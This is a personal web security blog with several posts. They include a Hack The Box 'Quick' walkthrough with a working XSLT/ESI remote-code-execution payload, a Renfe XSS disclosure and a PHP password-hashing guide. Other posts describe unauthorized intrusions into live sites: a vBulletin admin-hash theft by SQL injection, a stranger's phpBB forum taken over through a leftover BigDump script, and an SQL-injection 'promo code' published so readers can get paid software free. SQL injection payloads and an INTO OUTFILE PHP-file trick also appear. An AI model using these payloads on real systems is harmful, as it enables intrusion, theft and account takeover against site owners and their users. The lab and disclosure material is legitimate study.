Web Security Blog - nicoSWD

As always, I started with an nmap scan, and only two ports popped up:

$ nmap -sC -sV -T4 -p- -oN nmap/quick_all 10.10.10.186 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 fb:b0:61:82:39:50:4b:21:a8:62:98:4c:9c:38:82:70 (RSA) | 256 ee:bb:4b:72:63:17:10:ee:08:ff:e5:86:71:fe:8f:80 (ECDSA) |_ 256 80:a6:c2:73:41:f0:35:4e:5f:61:a7:6a:50:ea:b8:2e (ED25519) 9001/tcp open tcpwrapped

I first looked at port 9001, as 22 is just SSH and usually not interesting unless you have some credentials.

On there I was presented with this website

There was not a lot to see or do, but a few things stood out. There was a broken link to a client portal that pointed to an https resource. Port 443 didn't show up in my nmap scan, and the link just gave me this error

I didn't give it much more thought and continued exploring. The homepage also said that they were experiencing connectivity issues on that domain, but that their services were available through the mobile app.

Given that, I started hunting for an API or a mobile version of the site. So I started enumerating subdomains and domains using wfuzz

$ wfuzz -u http://10.10.10.186:9001/ \ -H 'Host: FUZZ.quick.htb' \ -w subdomains-10000.txt \ --hh 3351

But that didn't result in anything interesting. So I took a look at the client page, which revealed some potential usernames.

The country column immediately stood out, and I started creating a list of possible email addresses with the information I found on the home page and the client list.

I fed this list along with some common passwords into hydra and let it run against the ticketing system login page, but that didn't get me anywhere. I felt so clever for taking into account the country TLDs in the email addresses, so I was bummed when it didn't take me any further.

I had gobuster running in the background, so I decided to take a look at the results

/clients.php (Status: 200) /db.php (Status: 200) /home.php (Status: 200) /index.php (Status: 200) /login.php (Status: 200) /search.php (Status: 200) /server-status (Status: 200) /ticket.php (Status: 200)

There were a few new hits, but:

ticket.php just told me invalid username and redirected me back to the homepage

search.php gave me just a blank screen

I could fuzz parameters in search.php, but that's not allowed on HTB, so there wasn't much to do. db.php seemed less interesting and it's probably just an include with DB credentials for other files.

I also noticed that one of the response headers said X-Powered-By: Esigate, so I searched for vulnerabilities, but I didn't find anything that could be exploited with the resources I had in hand.

So now what?

Since this box was published as hard, I figured I might as well scan for open UDP ports. This gave me may hits:

PORT STATE SERVICE VERSION 407/udp open|filtered timbuktu 443/udp open|filtered https 996/udp open|filtered vsinet 1057/udp open|filtered startron 3130/udp open|filtered squid-ipc 4008/udp open|filtered netcheque 4500/udp open|filtered nat-t-ike 16948/udp open|filtered unknown 17424/udp open|filtered unknown 17787/udp open|filtered unknown 17989/udp open|filtered unknown 18987/udp open|filtered unknown 20082/udp open|filtered unknown 21663/udp open|filtered unknown 30303/udp open|filtered unknown 32931/udp open|filtered unknown 34038/udp open|filtered unknown 34570/udp open|filtered unknown 34758/udp open|filtered unknown 40866/udp open|filtered unknown 41774/udp open|filtered unknown 42434/udp open|filtered unknown 44179/udp open|filtered unknown 45722/udp open|filtered unknown 49167/udp open|filtered unknown 49220/udp open|filtered unknown 61142/udp open|filtered unknown 62154/udp open|filtered unknown

In fact so many that I was a little overwhelmed at first and I keep looking for other leads.

I used other word lists with gobuster and kept trying to enumerate more files and domains. I couldn't get this API or mobile version out of my head, but it was nowhere to be found. I even started fuzzing user agents to see if I would get a different page for phones.

Mildly frustrated, I took another look at the UDP ports. And on a closer look, there was one that stood out:

443/udp open|filtered https

HTTP over 443, which is usually for SSL. But over UDP? I searched online, and...

The box is called Quick, so I was sure I was on the right track! Both, Google Chrome and Chromium have experimental support for QUIC, so I tried to enable that using these flags

$ google-chrome-stable --disable-setuid-sandbox --enable-quic \ --origin-to-force-quic-on=portal.quick.htb:443 https://portal.quick.htb/ \ --no-sandbox --ignore-certificate-errors

But I couldn't get it to connect this way and decided to look for a python client to deal with this protocol. I gave aiortc/aioquic a shot, and after some debugging and fiddling, I actually got it to connect and download some HTML.

I pulled all the files I could find there, and one of them was a PDF with instructions on how to set up the portal. And there was also a default password

I remembered the client list I created earlier, and I decided to give it another shot with this newly acquired password

And there it was. Finally

I had now access to the ticketing system, and there wasn't much to do. I could create a new ticket, and search for one I had opened at some point

I tried all the obvious things, such as SQL injection, and seeing if was able to query for tickets belonging to other users. I wrote a small and dirty script to automate the search process, but this was taken into account and only my own tickets were returned.

Then I remembered the esigate header, and it occurred to me that I now had a potential place to inject ESI tags.

First I tried LFI as that seemed to be the easiest attack. I submitted a new ticket with the following body:

<esi:include src="index.php" />

And when I then searched for my ticket, it would indeed return the file I included

But here's the problem:

Esigate sits in front of Apache, so when it retrieves the file, PHP has already rendered it, so it's not possible to leak source code this way.

Then I attempted to read other interesting files outside of the web root, but that didn't work either. I didn't give it much thought as I had already decided to move on to RCE with the stylesheet technique.

Getting the code to run was pretty non-trivial. But having it do something useful was.

After stitching together several pieces from a few different sites, I ended up with this payload

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:process="http://xml.apache.org/xalan/java/java.lang.Process"> <xsl:template match="/"> <root> <xsl:variable name="cmd"><![CDATA[command here]]></xsl:variable> <xsl:variable name="rtobject" select="rt:getRuntime()"/> <xsl:variable name="process" select="rt:exec($rtobject,$cmd)"/> <xsl:variable name="waiting" select="process:waitFor($process)"/> Process: <xsl:value-of select="$process"/> Waiting: <xsl:value-of select="$waiting"/> </root> </xsl:template> </xsl:stylesheet>

Unfortunately, it's not possible to see the output of the command, so it's hard to tell what's going on. At first I tried to set up a reverse shell with netcat. As soon as I searched for my ticket and the esi tag was parsed, I got a connection back, but it was immediately closed after that.

This was a bit of a pain, but at least I could confirm this way that RCE was working.

I tried other reverse shells with bash and python, but they didn't work at all. After a lot of fiddling around, I realized that none of the complex commands worked. As soon as I added a pipe, or tried to redirect output, it would immediately break without ever executing my code.

I took a few steps back and tried to figure out what worked. Commands such as cd or chdir would result in a fatal error, and the application would actually return an error telling me that the program cd could not be found.

Alright... but can I create files? I did a touch test.txt, spun up a local python web server in that directory, and was able to confirm that the file was created.

I was unable to create a file with contents of my liking, though. So I figured it was time to get a proper shell on this box. Simple commands worked, so I used wget to download my public key from my local server. And then I ran a second command, cp, to copy my key to .ssh/authorized_keys.

So far so good, but what about the user? I spun up a local PHP server, and used -t to set the root directory to /etc. This way I was able to download the passwd file with all users on that box.

$ php -S 10.10.10.186:1235 -t /etc

First I wanted to start the server with the directory /home as root dir, and I was hoping to see all users in the directory index. But PHP doesn't show directory indexes, and python didn't work work with the -d flag.

And that gave me the following

... sam:x:1000:1000:sam:/home/sam:/bin/bash mysql:x:111:115:MySQL Server,,,:/nonexistent:/bin/false srvadm:x:1001:1001:,,,:/home/srvadm:/bin/bash

I tried sam first, and that worked.

Once in, I took a look at the files in /var/www/, and I noticed there were a few more folders in there, other than html. With that in mind, I checked out the Apache config to see if there were more virtual hosts. There were:

I also noticed that it was running as srvadm which led me to believe that this needed to be exploited in some way.

So I added that domain to my /etc/hosts file and took a look at that page.

That showed me a login page to which some credentials were required. Looking at the source code, I could see it used a local database to authenticate users. The database credentials were in the code as well, so it was easy to take a look at the table:

mysql> select * from users; +--------------+------------------+----------------------------------+ | name | email | password | +--------------+------------------+----------------------------------+ | Elisa | [email protected] | c6c35ae1f3cb19438e0199cfa72a9d9d | | Server Admin | [email protected] | e626d51f8fbfd1124fdea88396c35d05 | +--------------+------------------+----------------------------------+ 2 rows in set (0.00 sec)

So there are some hashes, and in index.php we can see how they were generated.

<?php  include("db.php"); if(isset($_POST["email"]) && isset($_POST["password"])) {     $email=$_POST["email"];     $password = $_POST["password"];     $password = md5(crypt($password,'fa'));     $stmt=$conn->prepare("select email,password from users where email=? and password=?");     $stmt->bind_param("ss",$email,$password);     $stmt->execute();     // ... }

We know Elisa's password, so we could update the admin's hash to her's and login with her password. But that might ruin the experience of other users as they'd be unable to log in. Plus, IRL that could trigger alerts if the admin would suddenly be unable to log in. But most important of all, it's way more fun to crack the hash, so we'll do that.

I doubted john or hashcat supported that md5(crypt($pass, $salt)) format natively natively, so I wrote a quick script to brute force it:

<?php $fp = fopen($argv[1], 'r'); while (!feof($fp)) {     $password = trim(fgets($fp));     printf("\rTrying %-70s", $password);     if (md5(crypt($password, 'fa')) === 'e626d51f8fbfd1124fdea88396c35d05') {         echo "\rFound it: $password\n";         exit;     } } echo "\rNone found\n";

I fed it with rockyou.txt, and after a few moments it came back with the password.

With that, we're able to login, and we're presented with a printer manager where we can add printers and send documents to them.

So I took a look at the PHP code, to see how this could be exploited. This piece of code stood out:

<?php if(isset($_POST["submit"])) {     $title=$_POST["title"];     $file = date("Y-m-d_H:i:s");     file_put_contents("/var/www/jobs/".$file,$_POST["desc"]);     chmod("/var/www/printer/jobs/".$file,"0777");     $stmt=$conn->prepare("select ip,port from jobs");     $stmt->execute();     $result=$stmt->get_result();     if($result->num_rows > 0)     {         $row=$result->fetch_assoc();         $ip=$row["ip"];         $port=$row["port"];         try         {             $connector = new NetworkPrintConnector($ip,$port);             sleep(0.5); //Buffer for socket check             $printer = new Printer($connector);             $printer -> text(file_get_contents("/var/www/jobs/".$file));             $printer -> cut();             $printer -> close();             $message="Job assigned";             unlink("/var/www/jobs/".$file);         }         catch(Exception $error)          {             $error="Can't connect to printer.";             unlink("/var/www/jobs/".$file);         }     }     else     {         $error="Couldn't find printer.";     } }

At first sight, it looks like we're able to setup a printer, and send data to it. It first writes to a temporary file, and then reads from that file to send the data to the printer. It appears like we can swap files between it creates and reads from it. That would probably work, but I took another route as it seemed easier. Instead of reading a file, I decided to write to one.

So the path is as follows

Make your printer available so you can send a document to it (nc -lnvp 9100)

In the text field, insert your public SSH key

Then create a symlink to .ssh/athorized_keys, every second, like this

while true; do ln -s /home/srvadm/.ssh/authorized_keys \ /var/www/jobs/$(php -r 'echo date("Y-m-d_H:i:s");'); sleep 1; done

You can disconnect the printer at this point

And finally, submit the public key

It should find the symlink, follow and write to it. I think the intended way here was to read the private key and send it to the printer. But the time window is small, and it seems a little more difficult to exploit, whereas this it's pretty straight-forward and fail safe

We're getting close...

To become root you didn't actually have to exploit anything. The credentials were hidden in plain sight. I found this more or less by accident when I was grep'ing for strings, it this URL in ~/.cache/logs

Which when URL decoded, becomes https://[email protected]:&[email protected]/printer. If you know a bit about URL fragments, [email protected] is a username, and &ftQ4K3SGde8? a password for printerv3.quick.htb.

So I tried that for root and holy cow

[UPDATED] If you've ever been to Spain, there's a good chance you've heard of (or even used) Renfe, the state-owned company, operating passenger trains in the whole country.

About 10 weeks ago, I reported two XSS vulnerabilities to their tech department, which, in itself was quite a painful experience already. It's pretty much impossible to contact them through their website for anything unrelated to purchasing things. Then I got ignored on Twitter for a while, but at last, after bouncing back and forth between direct messages and emails, I managed to speak to someone from the wanted department, and thus, I was able to report the vulnerabilities.

Finally. I did my part. Now I could just wait and see what happens. And so I did. Nearly 10 weeks go by, and,... want to guess what happened? Yep, nothing.

Their site is still vulnerable to this day. When I originally reported the vulnerability, I explained them how I could theoretically steal other user's sessions and what not... So now I figured that maybe, it's time to turn this theory into a PoC video, for the simple sake of putting some pressure on their dev team.

I'm not releasing any technical details just yet. I'm giving them a little more time to take care of this. Albeit, not much more.

I will update this blog post when this is fixed, or when I feel like they've ignored me long enough.

[UPDATE 08-Nov-2014]

A few weeks after posting this, and sending them another reminder, they finally went ahead and fixed the issues. So I'm finally in the liberty of speaking about the things that were wrong with their site.

The first vulnerability I found, which is also the more important one, was their lack of user input sanitising in their main ticket search form. While they wisely sanitised all input coming from the text fields, they completely failed to sanitise the data from the <select> menus.

The first time I modified one of the values to something I was pretty sure they wouldn't expect, it took me to the search results, but no alert() window popped up, and I was a little disappointed. That disappointment didn't last for long, as I went ahead and clicked on "My Account", and of all sudden my alert() appeared.

Hah! That was even sweeter than what I anticipated. Not only did I find an XSS vulnerability, but also a persistent one. Turns out, everything you put into this search form is stored in your session, and is then displayed on lots of other pages.

As shown in the video, this can be exploited quite easily, and it allows an attacker to steal session cookies.

What can we learn from this?

For starters, sanitise every god damn bit of user input. Including the input you think is safe, just because an average Joe can't modify it.

Don't ever make session cookies readable through JavaScript. Use the HttpOnly flag. This only fixes part of the problem, and admittedly not for all users, but for the vast majority. Use it!

Don't rely only on the session ID to identify a user.

Don't output variables (especially user defined ones) on irrelevant pages unless necessary.

[UPDATED] Let's face it, cryptography is hard, and most people suck at it. They tend to guess and assume what the best practices are, but mostly fail at it.

With version 5.5.0, PHP wants to put an end to this madness, and delivers a whole new API that hides bcrypt's complexity under an easy interface to ensure best practices are in place, even if you have no idea about cryptography. Let's take a deeper look under the hood.

password_hash()

string password_hash ( string $password , integer $algo [, array $options ] )

This function takes the user's password, and hashes it using the current best algorithm (bcrypt, as of writing this), and a securely created salt.

Algorithm

The algorithm should be set to PASSWORD_DEFAULT. This ensures that the newest algorithms are used at any time. In PHP 5.5.0, and probably the next few versions, bcrypt is used as default, but once there's a better one, the PHP core developers can flip a switch and set this to something else, without breaking backwards compatibility (more on that later). And the good thing for you, the developer, is that you don't have to change your PHP code, as long as you keep PHP itself up to date.

Salt

The manual page doesn't specify how the salt is generated if you omit the parameter, but a quick look at PHP's source code reveals that by default, it reads said salt from /dev/urandom. This is not only a very good source of high quality randomness, which, among other things is based on noise from device drivers, but also an industry standard for cryptography. Please don't try to outsmart this function by creating your own salt, unless you really know what you're doing. Keep in mind that /dev/urandom has been around for almost 20 years, so chances are that you can't come up with anything better. If you're thinking rand(), mt_rand() or uniqid(), just don't. They're vulnerable to "seed poisoning", and are not considered secure for anything related to cryptography.

On Windows, where /dev/urandom is not available, CryptGenRandom() is used to generate the salt. Since it's closed-source, it's moot whether it's secure or not. But regardless of what you may think, it's probably still more secure than whatever most of you can come up with. So I wouldn't worry too much about it. Plus, who is running a Windows based production server to host a PHP site anyway?

Note that the salt is part of the hash that is returned by password_hash(), so you don't have to store it anywhere separately. The API takes care of everything.

Cost

The only parameter you should actually tinker with is the cost. The higher this value, the more secure the hash will be (as more iterations are used). The default value is 10, but if you have a fast server, you may increase this value. Run the small script in example #4 on PHP's password_hash() manual on your server, and it will calculate an appropriate cost for your hardware. It should preferably be at least 9 or higher. If you're getting less, you won't get as much protection as you should. Each hash should take between 0.25 and 0.5 seconds. Remember that bcrypt is designed to be slow.

Don't set the value much higher than suggested by the script, as it can be used against you. See the notes below.

password_verify()

boolean password_verify ( string $password , string $hash )

There's not much to tell about this function. It takes the plain text password the user submitted during the login process, then detects the hashing method that was used to create the hash from the database, then hashes the submitted password using the same algorithm, and finally compares the two. It returns true if the password matches, and false otherwise.

password_needs_rehash()

boolean password_needs_rehash ( string $hash , string $algo [, string $options ] )

Now this is a handy one, and you should absolutely use it! Remember the PASSWORD_DEFAULT constant from earlier? Whenever there's a better algorithm than bcrypt, and PHP's default one switches to it, this function will allow you to update your user's passwords if they're using outdated standards. The only drawback? Users have to be active on your site, since you can only use this function when they log in, and you need the original, plain text password to generate a new hash.

Note that you can also supply a hashing algorithm and options to this function. So you can also use it to update the cost, if for example, at some point you have better server hardware that allows a higher cost to calculate the hash.

  password_get_info()

array password_get_info ( string $hash )

You probably won't need this one, as it just returns information about an existing hash, such as the algorithm that was used to generate it, its name, and the options that were supplied. This function is necessary internally, and it's used in password_needs_rehash() to determine if a newer and better method is available.

Notes

All in all, PHP does a pretty good job by default, so it's hard to mess things up. There are however four things it does not.

It doesn't verify the password length. Unless you check it yourself, it'll allow short passwords, as in one to seven characters. I consider 8 characters the minimum length a password should be. Preferably longer, but most users won't be able to remember them.

A lot of people probably think there should be no maximum password length, but this is actually wrong. Calculating the hash of a normal password is fast, but attackers may send a large, multiple megabyte file as password, and this will take some hashing algorithms bcrypt (or any other hashing algorithm for that matter), a lot of time to calculate. This method can be used to DDoS your server. Since password_hash() allows any given length, you should absolutely check for it yourself.

Even with short (normal) passwords, calculating hashes is expensive and requires system resources, and attackers can take advantage of this and DDoS your server. In order to prevent such attacks, keep track of failed logins, and block accounts temporarily with more than five or so. Not only does this make brute forcing pretty much impossible, it'll also save valuable server resources.

When a database of passwords gets dumped, the first ones to get cracked are obviously the weak ones. The new API doesn't protect you from this. When a new user signs up, match their password against a table of the most common passwords, and tell them to pick a more secure one if it's in there. Search Google for some of the most common passwords.

[UPDATE: 06-JAN-2015]

Anthony Ferrara (@ircmaxell) was kind enough to point out that bcrypt actually limits passwords to 72 characters internally, so it's impossible for someone to take down your server by sending very long passwords. He also provided me with a StackOverflow link with more information on the matter.

So should you still limit the lengths of user passwords? I'd say yes. Future hashing algorithms that'll come with PHP may have different specifications, and may treat long passwords differently. OWASP suggests setting the maximum length to 128.

Storing the Hashes

There's a small note on password_hash()'s manual page that's easy to miss. Bcrypt hashes will always be 60 characters long, but future hashing algorithms may return longer hashes than this. So, to be prepared for the future, it's recommended to set the database column to 255 characters.

Usage Example

Unfortunately, the PHP manual provides no example on how to use password_needs_rehash(), but here's something you can use as reference.

$password = filter_input(INPUT_POST, 'password', FILTER_UNSAFE_RAW); $password = substr($password, 0, 128); $username = filter_input(INPUT_POST, 'username', FILTER_SANITIZE_FULL_SPECIAL_CHARS); $db = new PDO(/* ... */); $stmt = $db->prepare( 'SELECT `userid`, `username`, `hash` FROM `users` WHERE `username` = ?' ); $stmt->execute([$username]); if ($user = $stmt->fetch(PDO::FETCH_ASSOC)) { // Receive the number of failed log ins in the past 10 or 15 minutes $numberOfFailedLogins = getFailedLoginsForUserId($user['userid']); if ($numberOfFailedLogins >= 5) { // Too many failed log-ins. Someone might be trying to brute force the password... // ... or maybe they're trying to DDoS the server. // Don't continue at this point. // Throw an error message and stop. return false; } if (password_verify($password, $user['hash'])) { if (password_needs_rehash($user['hash'], PASSWORD_DEFAULT)) { // This code won't run for a while, but once there's a new default hashing... // ... method, this will update the user's current hash with a better one. $newHash = password_hash($password, PASSWORD_DEFAULT); $stmt = $db->prepare( 'UPDATE `users` SET `hash` = ? WHERE `userid` = ?' ); try { $stmt->execute([$newHash, $user['userid']]); } catch (\PDOException $e) { // Log } } // All good at this point. Start your session or whatever and continue... return true; } else { // Wrong password logLoginFailureForUserId($user['userid']); } } else { // User name not found }

Conclusion

The new API is a big step forward for PHP, and I recommend anyone to use it, especially if you're unexperienced with password hashing and cryptography in general. The password rehashing function also makes it future-proof, and ensures you're always using the latest standards, even years from now.

Don't underestimate this subject, and avoid md5() and sha1() with custom salts based on rand(), mt_rand(), or variations of these. You're most likely doing it wrong.

Remember the vBulletin board I hacked a few years ago? It's been down for about 2 years, and just came back online a few weeks ago. Naturally, I went to see if there are still vulnerabilities, especially in the custom add-ons. At first everything seemed to be fixed, but then after a while, I found another SQL injection vector.

It's part of the audio manager. Users can upload MP3s, and add custom titles, track numbers, etc... What's not sanitised is the audio ID in the URL, which is later used to select the information of a specific song from the database. So, no UPDATE query this time, just a SELECT one.

As always, I want to get admin permissions, so, what are my options here? I figured I'd go with an UNION SELECT query, so that I can get the admin's password hash and salt. It was quite easy:

control_panel.php?do=mp3&audio=edit&id='%20UNION%20SELECT%201,2,3,4,5, concat(password,':',salt),6,7,8,9,10%20FROM%20user%20where%20userid=1%23

It usually takes a little time until you've got everything figured out, because the number of columns from both queries, and the data types must match.

But if you're successful, you will eventually end up with what you want in one of the fields.

What's next? I can't change his hash to something else this time, so my options are limited. I decided to give John The Ripper a try, and holy shit... It took me a moment to figure out how to configure it to make it work with vBulletin hashes, but after that, it took literally 0.0 seconds to crack the password. It was a very weak password, but still, I didn't think it would be that fast.

If you want to crack vBulletin passwords, create a new file, for example hashes.txt, containing your passwords and salts in this format: $format$hash$salt. Like this:

$dynamic_6$1b77XXXXXXXXXXXXXXXXXXXb3$92(

- $dynamic_6 is the format vBulletin uses for its hashes: md5(md5(password) salt)

- The dollar sign, $, is the separator, and the last 3 characters are the salt.

Now save the file, open Terminal.app, and run the following:

$ ./john /path/to/hashes.txt

Now it could take a while, depending on the weaknesses and the amount of passwords. But at some point it will prompt you with something similar to this:

Loaded 1 password hash (dynamic_6: md5(md5($p).$s) [128/128 SSE2 intrinsics 10x4x3]) cracked-password-here (?) guesses: 1 time: 0:00:00:00 DONE (Tue Sep 24 19:41:59 2013) c/s: 48000 trying: hendrix - boston

And that's about it. The cracked passwords will also be saved in a file called "John.pot" in your JtR directory.

Note: I saved the following post originally as draft, because I wanted them to give a chance to fix the vulnerabilities before making them public. So I went ahead and sent them an email. The next day I received a call from an unknown number, which to my surprise, was from them. The guy on the other side of the line told me that he tried to email me back, but that my server was down and the email didn't go through. Which was true, I was having problems with my server that day. He also told me that he tried to contact me through the contact form on my website, and that that didn't work either. I did sense slight amusement in his tone of voice, as if he was thinking, "you may know how to hack our website, but you can't even code a freaking contact form in PHP".

I explained him in detail all the problems with their site, although I'm not entirely sure he understood everything I said. He also seemed surprised that I found these vulnerabilities, and wondered how I did it.

At the end, he thanked me, and promised to take care of everything. As of writing this, roughly 4 weeks after the phone call, only about 40% of the issues are fixed. I don't think more is coming anytime soon.

Now to the actual post:

Every now and then, I write scripts to automate processes, like the uploading of our entire database full of products. These are generally being uploaded to web portals, where we're looking for exposure.

Since most sites don't offer an API I can use, I have to write cURL based scripts that have to do things like logging in, inserting descriptions and prices, and uploading images to a remote server. In order to do that, I have to get a pretty good understanding of how the sites work internally.

Today I wrote such a script for huisenaanbod.nl, which is a Dutch real estate portal. After creating an account there, I received an email from them which asked me to confirm my email address. But that was not all it contained, they also thought it would be a good idea to send me my password, in plain text! I know, a lot of sites do this, and while it's not a good thing to do, that alone is not worth a blog post. But this is only the beginning. I got slightly more offended when I saw that they also had my password in the account activation link. Why would they do that?

How can a big site like this be so poorly coded? I decided to take a closer look at it after this, and now I don't even know where to start...

The first thing I noticed while writing the script was that every HTTP request contained cookies with my email address, and a short string of random characters as it seemed at first. I didn't want to think they'd be that stupid, but then I just had to see what happened if I base 64 decoded the little string. Before you ask... yes, it was my password. It's being sent back and forth on every... single... request.

Cookie: session=2015963997; mijnlijst=1843876200; em=nico@*******.com; ww=SGksIEknbSBiYXNlIDY0IGFuZCBJJ20gbm90IHZlcnkgc2VjdXJl; soort=M;

If you absolutely must send the password through cookies to the server, and I honestly can't think of a good reason why, then for fuck's sake, don't use base fucking 64. Security through obscurity does never work. Usually it just slows things down. Well, unless you're using base 64... fuck!

That's pretty bad already, but it gets worse. While I haven't found an SQL injection vector (yet), to my surprise, and there better not be any, seeing as they're storing passwords in plain text, I've found several other exploitable bugs. It's actually a combination of three, that work beautifully together. The second one makes the first one way more potentially dangerous. And the third one makes the second one more dangerous, which makes the first one a killer.

The second is related to the property descriptions. They're not stripping out JavaScript... at all. Or HTML for that matter. The only annoyance is that they're converting line breaks to <br> tags, which will cause syntax errors. But it's a non-issue if you write all your code in one line, or even embed an external JavaScript file.

It's pretty much an invitation to embed some code that grabs other people's cookies (remember they contain your whole access data in plain text?), and send them over to your own server. All you have to do is to sit tight, grab some popcorn, and wait for the data to fly in.

Want to accelerate the process? No problem! The third exploit allows you to edit other people's ads. That includes descriptions, prices, and even photos. It's so simple, it's embarrassing. You just have to browse through their main site, open a property you like (perhaps one of the featured ones on the home page?), and copy its ID from the URL. Then you go back to your control panel, click "edit" on one of your properties, and swap IDs in the URL. After that, you may change or insert anything you like, then click "save", and you're done. It works the same way for photos too. You can even delete anyone else's ad.

UPDATE: I opened a support ticket and explained them the issue. But I got no response. It's been so long, the ticket even automatically closed. I guess that's all I can do... so go crazy on it. Also, don't expect any support from their end. Even if you paid.

UPDATE 2: I posted the issue on their forums, where it got ignored for a long while. Much later, at some point my account got deleted along with the post I made. Nicely handled, Deltascripts.

UPDATE 3: The issue seems to be fixed now.

Get everything for free with this unique promo code:

' OR 1=1 LIMIT 1 # 

You can just put this into the "license" field. This gets you everything off their site, even their $349 "PHP Classifieds" script.

I'm posting this to raise awareness. If a company like this can't even protect what's most valuable to them, how do you think they can protect what's most valuable to you and your users?

It has been around since 1998 and was the first PHP Classifieds script introduced in the world.

I wouldn't be surprised if it hadn't been updated since 1998 either! Their requirements are funny too:

The following PHP settings:

- Magic_Quotes ON

Magic Quotes? Really? This feature has been deprecated in PHP 5.3, and will be completely removed in PHP 5.4. I'm not exactly sure how PHP 5.4 users are going to enable this feature to meet their requirements.

"PHP Classifieds" is a horrible script. I wouldn't even use the *free* version.

Stay far away from it.

(Let's see how long they take to fix this)

UPDATE: I contacted the developer and he agreed that something needed to be done. So version 0.33b and above include an extra warning message, reminding the user to remove the script after successfully importing the database.

I just had to import a big database, and I used BigBump for that.

My dirty mind immediately thought, how many people do actually leave the script on the server after importing their databases? Turns out, a lot.

Now that's pretty careless, but hey, their loss is my gain. Pretty quickly I found my first victim: A phpBB board. I always used to be more of a vBulletin guy, and since I have no experience with that particular software (as to what hashing algorithm, salts, etc, it uses), I figured I'd just download it and install it locally. After doing so, I went to my phpMyAdmin, and exported the users table, which only had two users in it. My new admin account, and some random 'Anonymous' account, which makes no sense to me without further investigating, but I don't care enough at this point.

I just removed said account from the exported .sql file, leaving only my account in it. I changed the user ID to some ID the forum wasn't likely to have already. Seeing as the forum has 1500 something users, so I just used the ID 2000, considering it probably has some banned users which are not counted. Make sure the user group ID is set to 5, otherwise you won't be admin.

I grabbed the file, uploaded it via BigDump to the server, and hit 'Start import'. Since it was a single query only, it went rather fast.

I went back to the forums, and logged in, using the moniker and password I picked during the local installation. Directly after logging in, the forum showed me a link at the bottom to the admin control panel... Success!

It was unbelievably easy, and yet it's a very dangerous attack!

If I wanted, I could change anyone's password, and log into their account. I could delete whole accounts, and what not...! I can run any MySQL query I want to, UPDATE, DELETE, DROP, etc...

On a further note, older versions of BigBump (v.0.28b, I believe) use eregi() instead of preg_match() for the file name validation. And since eregi() is not binary safe, you probably could just prepend a null character  to the file name, and upload .php files this way. It's only theory, though, as I haven't actually tried it.

And on a last note, you may be able to create .php files with your own code using native SQL.

SELECT '<?php echo \'hi there\'; ?>' INTO OUTFILE '../../public_html/hacked.php'

CyD Software Labs claim themselves to be "WEB security specialists".

Sounds great... so I decided to look at the stuff they're actually doing. After a short while, I stumbled up on this post about Cross Site Scripting (XSS).

While they make a good point about HTML entities, they're completely forgetting SQL injections. The code they're suggesting to prevent Cross Site Scripting is completely worthless, considering I can exploit their SQL query. I can still inject any HTML code, as if htmlspecialchars() never existed in their code.

<?php $username= htmlspecialchars($_GET['username']); $message= htmlspecialchars($_GET['message']); $result=mysql_query("INSERT INTO minibbtable_posts VALUES(NULL, 1, 1, 1, '$username', '$message', 1, 1, 1)"); ?>

I mean,... seriously? That's all you have to suggest? This post is probably still from the PHP 4 days, when Magic Quotes was still a thing, but still... this suggestion is more than ridiculous. Especially coming form a "WEB security specialist".

Since they don't suggest mysql_real_escape_string(), I can insert single quotes into the query, and manipulate it that way. (For more information, I posted about this type of exploit a while ago here.)

They are however suggesting to apply htmlspecialchars() on the input, AND the output, which is pretty stupid, because it'll result in ugly output to the user. This method does not prevent code injection, but it prevents the code from executing on the client's side. That means I can save valid HTML in their database, but it won't be executed by the client because it's being converted to HTML entities.

But there are other types of attacks I can execute using the exploit. What if I'm not interested in the user's cookies, or redirects to spam sites, or anything else JavaScript can do? What if I inject a sub-query that selects user passwords and adds them to my posts?

It's as easy as inserting something like this into the "Name" field of their page:

', (SELECT `password` FROM `users` WHERE `userid` = 1), 1, 1, 1) #

This can be way more harmful than any XSS attack. Allowing me to insert JavaScript can give me some options to steal user information, and maybe even hijack their sessions by stealing their cookies and what not.

But in all honesty, why bother coding a script that can steal user's cookies and save them on another server, when I can get their info directly and more accurately?

There are some parts of their code that needs to be analyzed before continuing:

They're for example using a mysql_query() call without error control. Meaning, there's no "OR die(mysql_error())". That's good for them, and bad for us. Since we're not getting any useful errors, it can be hard to inject code as we don't know what we're really doing. However, there are still thousands of sites using proper error control, and most of them naively show the error to the user too.

Another thing is that we usually don't see is the actual code behind the user interface, so we don't necessarily know how many fields we need to insert into the database. In this example, they're inserting data into 4 columns before the user name and the message, and more data into 3 columns after that:

INSERT INTO minibbtable_posts VALUES(NULL, 1, 1, 1, '$username', '$message', 1, 1, 1)

The data before the message ($message) is rather unimportant, as we inject code right after it. What we need to know is how many fields there are after it, as they might be required (can't be empty). Obviously, when injecting code we start with the minimum amount of columns.

We're first closing the initial single quote by inserting another one. Thus, resulting in a query like:

INSERT INTO minibbtable_posts VALUES(NULL, 1, 1, 1, ''

Now we add a comma, and then the actual SQL code we want to execute. This could be a SELECT sub-query, or a CHAR() call to write characters which would usually be converted by htmlspecialchars().

INSERT INTO minibbtable_posts VALUES(NULL, 1, 1, 1, '', (SELECT [...]))

This query alone would be valid, but the rest of the original query is hard coded into the PHP script and we can't modify it. So we have to tell MySQL to ignore it, by adding a # to the end.

INSERT INTO minibbtable_posts VALUES(NULL, 1, 1, 1, '', (SELECT [...])) #

Now the actual code will be send to the database like this:

INSERT INTO minibbtable_posts VALUES(NULL, 1, 1, 1, '', (SELECT [...])) #', '$message', 1, 1, 1)

In SQL, the # character stands for a command. Meaning it's "just" information for the programmer, and therefore ignored by MySQL.

However, in this case, the three 1s are unknown fields that can't be empty. So we're getting an error like this:

Column count doesn't match value count at row 1

This error means we're inserting less (or more) columns than required. From there we keep adding more, until it works.

INSERT INTO minibbtable_posts VALUES(NULL, 1, 1, 1, '', (SELECT [...]), 1) #

(Note the 1 after the SELECT sub-query. This would still produce the same error as we're not yet inserting the required amount of fields.)

INSERT INTO minibbtable_posts VALUES(NULL, 1, 1, 1, '', (SELECT [...]), 1, 1) #

(Still no luck... keep trying, and add one more field.)

INSERT INTO minibbtable_posts VALUES(NULL, 1, 1, 1, '', (SELECT [...]), 1, 1, 1) #

Bingo...

Most of the times, hacking involves trying. You can't always know everything.

I'm aware that they're also addressing htmlentites() and htmlspecialchars()'s "quote style", but they're neither using it in their code, nor do they say how dangerous it is not to use these functions.

